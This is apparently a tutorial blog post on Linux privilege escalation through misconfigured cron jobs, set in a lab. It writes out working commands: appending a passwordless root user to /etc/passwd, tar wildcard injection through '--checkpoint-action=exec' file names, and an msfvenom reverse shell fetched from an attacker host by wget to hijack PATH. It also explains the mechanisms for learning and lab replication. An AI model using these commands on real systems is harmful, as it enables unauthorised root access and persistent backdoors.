Cron Jobs – Linux PrivEsc

Created with DALL-E

What you’ll learn

  • How cronjobs work
  • How to find vulnerable cronjobs
  • Exploiting cronjobs via weak file permissions, wildcards and PATH variables
  • How to replicate all of the vulnerabilities

What are Cronjobs

Cronjobs are a way to schedule tasks to be executed automatically on a regular basis in Linux and other Unix-based operating systems. The tasks can be anything from running a backup script, cleaning up temporary files, sending email notifications, or any other repetitive task that needs to be done regularly.

However, cronjobs can also be used for privilege escalation. An attacker can exploit a vulnerable or misconfigured cronjob to execute arbitrary commands with elevated privileges. For example, an attacker could modify an existing cronjob running with root privileges and make it run something malicious instead like a reverse shell.

These are some locations where you might find cronjobs:

  1. System-wide crontab (/etc/crontab): This is the main crontab file used for scheduling system-wide tasks that are executed with root privileges. It’s typically used for managing critical system tasks, such as backups, updates, and system maintenance.

  1. User-specific crontab (crontab -e): Each user can have their own individual crontab file, which contains a list of scheduled jobs that run with the privileges of that user. This file is created and edited using the crontab command.

  1. System-wide cron directories (/etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, and /etc/cron.monthly/): These directories contain system-wide cron jobs that are executed by the system cron daemon. Each file or script in these directories specifies a schedule, a command to execute, and the user account under which to run the command.

  1. Anacron (/etc/anacrontab): Anacron is a utility that is similar to cron, but is used for running periodic tasks that may not execute on a regular schedule. The anacrontab file is used to define the schedule and commands for anacron.

How do Cronjobs work

  1. First asterisk: Specifies the minute(s) when the task should be executed (0-59).
  2. Second asterisk: Specifies the hour(s) when the task should be executed (0-23).
  3. Third asterisk: Specifies the day(s) of the month when the task should be executed (1-31).
  4. Fourth asterisk: Specifies the month(s) when the task should be executed (1-12).
  5. Fifth asterisk: Specifies the day(s) of the week when the task should be executed (0-7).
  6. Username field: Specifies the user to run the command as.
  7. Command field: Specifies the command or script that should be executed.

Example of a cronjob: 

* * * * * username command

* * * * * root /opt/backup.sh

The cronjob above will execute the backup.sh script located in /opt every minute. It will execute the script as root.

The job definitions are pretty straightforward once you start seeing them more often but this site is great if you want to quickly determine what a cronjob does.

Enumerating Cronjobs

We can manually check for cronjobs but I personally prefer to use linpeas.sh. I still however, like to do a quick check by looking at the crontab system file:

cat /etc/crontab

There are three cronjobs currently active. Each one of them has a different vulnerability and I’ll be going over how to enumerate and exploit all of them.

I’ll be demoing the rest of the initial enumeration with linpeas.sh.

Download linpeas from here

Host a python webserver on Kali to bring the tool over

Download it on Ubuntu

Make sure to give it proper permissions using chmod

After running linpeas.sh and scrolling through the large output, we can see that Linpeas first checks all the system-wide cron directories

Then, it checks anacron

It seems that there isn’t much to look at in those directories.

Scrolling further down the output, we see the same three cronjobs we saw while we were looking in /etc/crontab:

When linpeas highlights text in yellow/red, it means that there’s a 95% chance its exploitable.

Lets move on to enumerating each of these cronjobs further.

Enumerating Cronjob 1 (Insecure File Permissions)

The first highlighted cronjob seems to run the bash script clean.sh located in the /opt directory every minute. It also runs this bash script as root.

Reading this file, we can see that it cleans log files older than 7 days from the /var/log directory.

Lets check the bash file to see if we have write permissions on it.

ls -la /opt/clean.sh

It seems that we have write permissions. This gives us enough information to conclude that cronjob 1 has weak file permissions.

Exploiting Cronjob 1

Enumerating Cronjob 2 (Wildcard Vulnerability)

The second cronjob runs the backup.sh script located in /opt. It runs this with root privileges.

Lets look at the contents of the second cronjob

It seems to be a bash script that creates a compressed backup archive of all files in the /var/www/html directory and stores it in the “/home/linuser1/backups/” directory with the filename “backup.tgz”.

We don’t have write permissions on the backup.sh script.

ls -la /opt/backup.sh

Since we don’t have write permissions, lets dive a little deeper into the tar command:

  • “tar” is the command used to create and manipulate archive files.
  • “cf” are options passed to the tar command, where “c” indicates that a new archive file should be created, and “f” specifies the filename.
  • “/home/linuser1/backups/backup.tgz” is the path and filename of the archive file to be created.
  • “/var/www/html/*” contains files that tar is backing up. The asterisk at the end is a wildcard character that matches all files and directories in the html directory. ALL the contents of the html directory will be added to the archive file.

This is what the tar looks like when its compressing files.

tar cf /home/linuser1/backups/backup.tgz  file1.txt file2.txt file3.txt

Now, lets say an attacker creates a file called “--checkpoint=1“. Tar interprets the double hyphen prefix as a command option, so it will treat “--checkpoint=1” as an option instead of a file. This is what tar would look like:

tar cf /home/linuser1/backups/backup.tgz --checkpoint=1 file1.txt file2.txt file3.txt

Lets check /var/www/html to see if we have write permissions

It seems like we do! Now if we put two and two together, we can get tar to execute a malicious bash file as root.

Exploiting Cronjob 2

Enumerating Cronjob 3 (PATH Vulnerability)

The PATH environment variable is a system variable that contains a list of directories where the shell searches for executable files when you enter a command in the terminal.

For example: When you type “nmap 10.10.10.10”, the system will search for the nmap executable in /usr/bin, /usr/sbin and other possible paths. It searches from left to right which means the path to the very left is searched first and the path on the very right is searched last.

Similarly, the cron path is a setting that specifies the list of directories where the cron daemon looks for executable files when running scheduled jobs. The cron path is independent of the environment path variable and is usually set separately in the crontab file.

Users can add their own paths to cron and get it to execute binaries from non-default paths. We can check the paths that cron uses in the crontab file.

It looks like /opt is configured to be a PATH and is also at the very beginning of the PATHs. Lets check our permissions in the /opt directory.

It seems like we have write permissions in /opt.

From our previous enumeration, we know that this cronjob exists: 

sar -r -o ram_usage.txt 1 1 | grep -E -v 'Average|Linux' | awk '{print $1" "$4}' >> /home/linuser1/sysinfo/ramusage.txt

The system will try to find where the “sar” binary is located by looking through /usr/local/sbin, /usr/local/bin, etc. Since /opt was configured to be the first path, the system will look for the sar executable in the /opt directory first. This would mean that we can create a malicious file named “sar” in the /opt directory and when the system is looking through all the paths trying to find where the sar executable is located, it will execute the malicious sar binary located in /opt. And since this cronjob runs with root privileges, it’ll run “sar” (our reverse shell) with root privileges.

Exploiting Cronjob 3

Exploiting Cronjobs

Exploiting Cronjob 1 (Insecure file permissions)

There are multiple ways we can exploit this vulnerability for privilege escalation.

One of the more simple ways is by editing the bash file and adding a command that will create a new root user with no password.

To do this, we need to first echo the command into the clean.sh file. The command highlighted in blue will add a new user named “activepwns” with root permissions. If you want the full details for this command, go here.

echo 'echo "activepwns::0:0:activepwns:/root/root:/bin/bash" >> /etc/passwd' >> /opt/clean.sh

Lets check the contents of the clean.sh file now

Now we wait a minute and try to change to the activepwns user

su activepwns

Exploiting Cronjob 2 (Wildcard)

Before we dive in and exploit this, lets first try to understand some important tar arguments:

  • The ‘--checkpoint‘ option in the tar command specifies a point in the archive where tar should save its state information. “--checkpoint=1” tells tar to save its state after processing the first byte of the archive. This is a very small amount of data, so tar will create a checkpoint almost immediately after starting to process the archive.
  • The ‘--checkpoint-action‘ option in the tar command specifies an action that tar should take when it reaches the specified checkpoint. So for example, if we specify the argument “--checkpoint-action=exec=sh exploit.sh“, it will execute the exploit.sh file when it reaches the checkpoint.

Lets create the malicious bash file. We can use echo to write a command into the bash file. This command will add a new user with root permissions and no password to the /etc/passwd file. If you want the detailed explanation of the echo command, go here.

echo 'echo "activepwns::0:0:activepwns:/root/root:/bin/bash" >> /etc/passwd' > exploit.sh

Lets create the checkpoint files

touch '/var/www/html/--checkpoint=1'
touch '/var/www/html/--checkpoint-action=exec=sh exploit.sh'

Now we wait one minute and are able to log in with the activepwns user

Exploiting Cronjob 3 (PATH)

We need to first create an elf reverse shell file named sar to put in the /opt directory

Lets use msfvenom for this

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.4.4 LPORT=53 -f elf -o sar

Before we bring the reverse shell to the Ubuntu machine, lets start a netcat listener

Then we host a python webserver on Kali where the “sar” reverse shell is located.

python3 -m http.server 80

We can download the reverse shell on the Ubuntu machine using wget

wget http://192.168.4.4/sar

Make sure the reverse shell is in the /opt directory

We should also give it proper permissions

chmod 755 sar

After waiting a minute, we get a root shell back on Kali.

Replicating the vulnerabilities

Replicate the weak file permissions vulnerability

Create a bash file as root and write whatever you want into it.

sudo nano /opt/clean.sh

Give it Insecure permissions

sudo chmod 777 /opt/clean.sh
* * * * * root /opt/clean.sh

Add the script to crontab

sudo nano /etc/crontab
* * * * * root /opt/clean.sh

Replicate Wildcard vulnerability

Create a bash file as root and write this

sudo nano /opt/backup.sh

Make sure you give the file proper permissions with chmod so that regular users aren’t able to edit the file but can read it.

sudo chmod 755 /opt/backup.sh

Then, add the script to crontab

sudo nano /etc/crontab
* * * * * root /opt/backup.sh

Replicate PATH vulnerability

Edit the crontab file and add /opt to the path

sudo nano /etc/crontab

Now you need to add a command to crontab. Lets do ping for this example.

sudo nano /etc/crontab
* * * * * root ping 8.8.8.8 -c 1 >> /home/linuser1/pings.txt

Now everytime a user types “ping”, the system will look at ping binaries in /opt first.

We need to set the /opt directory to have insecure permissions

sudo chmod 777 /opt

Extras

Echo command

echo 'echo "activepwns::0:0:activepwns:/root/root:/bin/bash" >> /etc/passwd' >> /var/www/html/exploit.sh
  • ‘echo’ is a command in Linux that simply outputs text to the terminal or a file.
  • The first set of quotes (‘echo “activepwns::0:0:activepwns:/root/root:/bin/bash” >> /etc/passwd’) contains the text that will be outputted by the ‘echo’ command.
  • The ‘>’ symbol redirects the output of the ‘echo’ command to a new file called ‘exploit.sh’. This creates a new file or overwrites an existing one with the same name.
  • The ‘echo’ command will only output the text within the quotes. In this case, the text is a command that appends a new user account to the ‘/etc/passwd’ file. The new user is named ‘activepwns’, has a blank password (represented by two colons), and is assigned the root user’s privileges (represented by the ‘0:0’ values in the user ID and group ID fields). The home directory is set to ‘/root/root’ and the default shell is ‘/bin/bash’.

Thanks for reading! Be sure to share this post if you enjoyed it!